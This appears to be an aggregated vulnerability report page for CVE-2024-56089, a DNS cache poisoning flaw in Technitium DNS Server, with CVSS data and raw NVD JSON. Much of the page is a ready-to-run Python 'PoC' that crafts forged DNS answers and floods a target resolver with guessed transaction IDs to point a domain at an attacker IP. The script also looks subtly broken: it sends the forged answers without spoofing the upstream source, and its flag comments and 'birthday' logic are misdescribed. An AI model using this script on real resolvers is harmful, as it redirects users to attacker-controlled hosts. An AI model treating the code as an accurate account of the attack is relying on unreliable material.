Security Vulnerability Report
中文
CVE-2024-56089 CVSS 7.5 HIGH

CVE-2024-56089

Published: 2025-12-01 15:15:49
Last Modified: 2025-12-23 15:59:19

Description

An issue in Technitium through v13.2.2 enables attackers to conduct a DNS cache poisoning attack and inject fake responses by reviving the birthday attack.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:technitium:dnsserver:*:*:*:*:*:*:*:* - VULNERABLE
Technitium DNS Server < 13.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2024-56089 PoC - Technitium DNS Server Birthday Attack DNS Cache Poisoning Note: This PoC is for educational and security research purposes only. """ import socket import random import struct import time from datetime import datetime def craft_dns_query(domain, query_id): """Craft a DNS query packet""" transaction_id = query_id flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('>HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) qname = b'' for label in domain.split('.'): qname += bytes([len(label)]) + label.encode() qname += b'\x00' qtype = 1 # A record qclass = 1 # IN question = qname + struct.pack('>HH', qtype, qclass) return header + question def craft_poisoned_response(query_id, domain, malicious_ip): """Craft a poisoned DNS response""" transaction_id = query_id flags = 0x8180 # Standard response, authoritative questions = 1 answer_rrs = 1 authority_rrs = 0 additional_rrs = 0 header = struct.pack('>HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) qname = b'' for label in domain.split('.'): qname += bytes([len(label)]) + label.encode() qname += b'\x00' qtype = 1 qclass = 1 question = qname + struct.pack('>HH', qtype, qclass) # Answer section answer_name = b'\xc0\x0c' # Pointer to question name answer_type = 1 # A record answer_class = 1 # IN ttl = 300 # Cache TTL rdlength = 4 # IPv4 address length rdata = socket.inet_aton(malicious_ip) answer = answer_name + struct.pack('>HHIH', answer_type, answer_class, ttl, rdlength) + rdata return header + question + answer def birthday_attack(target_ip, target_port, domain, malicious_ip, num_attempts=1000): """ Perform birthday attack on DNS server The attack exploits the birthday paradox to reduce entropy """ print(f"[*] Starting birthday attack on {target_ip}:{target_port}") print(f"[*] Target domain: {domain}") print(f"[*] Malicious IP: {malicious_ip}") print(f"[*] Number of attempts: {num_attempts}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) success = False for i in range(num_attempts): # Generate random query ID (16-bit) query_id = random.randint(0, 65535) # Send legitimate query query = craft_dns_query(domain, query_id) sock.sendto(query, (target_ip, target_port)) # Wait for response or send poisoned responses try: data, addr = sock.recvfrom(512) received_id = struct.unpack('>H', data[0:2])[0] print(f"[~] Received response with ID: {received_id}") except socket.timeout: pass # Send multiple poisoned responses with different IDs for j in range(100): # Multiple responses to exploit birthday effect fake_id = (query_id + j) % 65536 poisoned = craft_poisoned_response(fake_id, domain, malicious_ip) try: sock.sendto(poisoned, (target_ip, target_port)) except: pass if (i + 1) % 100 == 0: print(f"[*] Progress: {i + 1}/{num_attempts} attempts") sock.close() print("[*] Attack completed. Verify cache poisoning with DNS query.") return success if __name__ == "__main__": # Configuration - replace with actual target TARGET_IP = "192.168.1.100" # Target DNS server IP TARGET_PORT = 53 TARGET_DOMAIN = "example.com" MALICIOUS_IP = "198.51.100.1" # Attacker's controlled IP print(f"[!] CVE-2024-56089 PoC - Educational Use Only") birthday_attack(TARGET_IP, TARGET_PORT, TARGET_DOMAIN, MALICIOUS_IP)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-56089", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:48.697", "lastModified": "2025-12-23T15:59:19.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Technitium through v13.2.2 enables attackers to conduct a DNS cache poisoning attack and inject fake responses by reviving the birthday attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-330"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:technitium:dnsserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2", "matchCriteriaId": "8D64A071-BA93-48D5-A355-945DF609EDFC"}]}]}], "references": [{"url": "https://github.com/TechnitiumSoftware/DnsServer/blob/master/CHANGELOG.md#version-134", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://technitium.com/dns/", "source": "[email protected]", "tags": ["Product"]}]}}